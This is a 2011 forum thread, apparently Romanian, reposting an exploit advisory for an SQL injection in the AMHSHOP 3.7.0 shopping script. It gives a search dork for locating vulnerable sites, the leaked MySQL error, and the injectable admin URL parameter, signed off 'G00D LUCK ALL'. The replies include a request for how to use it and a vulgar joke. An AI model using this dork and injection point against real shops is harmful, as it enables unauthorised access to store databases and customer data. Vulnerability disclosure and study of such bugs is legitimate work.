Guest expl0iter Posted June 16, 2011 Report Share Posted June 16, 2011 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [+] Title : AMHSHOP 3.7.0 SQL Injection [+] Name : AMHSHOP 3.7.0 [+] Affected Version : v3.7.0 [+] Description : it's an arabic Shopping Script [Payable] [+] Software : http://amhserver.com/37/ & http://www.metjar.com/ [+] Tested on : (L):Vista & Windows Xp and Windows 7 [+] Dork : Powered by AMHSHOP 3.7.0 [+] Date : 14/06/2011 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [+] Author : Yassin Aboukir [+] Contact : 01Xp01@Gmail.com<script type="text/javascript">/* <![CDATA[ */(function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();/* ]]> */</script> [+] Site : http://www.yaboukir.com [+] Greetz : Th3 uNkn0wnS Team ! & All My friends ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [+] Error: MySQL * Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''users_login_forgotpassword'' AND user_id = '' LIMIT 1' at line 1 * Error Number:1064 * SQL: SELECT restricted FROM userspermission WHERE page = 'users_login_forgotpassword'' AND user_id = '' LIMIT 1 # we had contacted the owner before and some websites have fixed the bug [-] Exploit:- # http://[localhost]/Path/admin/index.php?module=users&page=login&event=[SQL] # http://[localhost]/Path/admin/index.php?module=users&page=login&event=forgotpassword' G00D LUCK ALL src: Exploits Database by Offensive Security Quote Link to comment Share on other sites More sharing options...
adiY Posted June 16, 2011 Report Share Posted June 16, 2011 # we had contacted the owner before and some websites have fixed the bug Quote Link to comment Share on other sites More sharing options...
DJNeo Posted June 16, 2011 Report Share Posted June 16, 2011 si cum dau cu el ? Quote Link to comment Share on other sites More sharing options...
Guest blackboy1337 Posted June 16, 2011 Report Share Posted June 16, 2011 si cum dau cu el ?depinde iti zic io o metoda, il prinzi de cur si dai:))) Quote Link to comment Share on other sites More sharing options...
DJNeo Posted June 16, 2011 Report Share Posted June 16, 2011 depinde iti zic io o metoda, il prinzi de cur si dai:)))tu asa faci ??? ) Quote Link to comment Share on other sites More sharing options...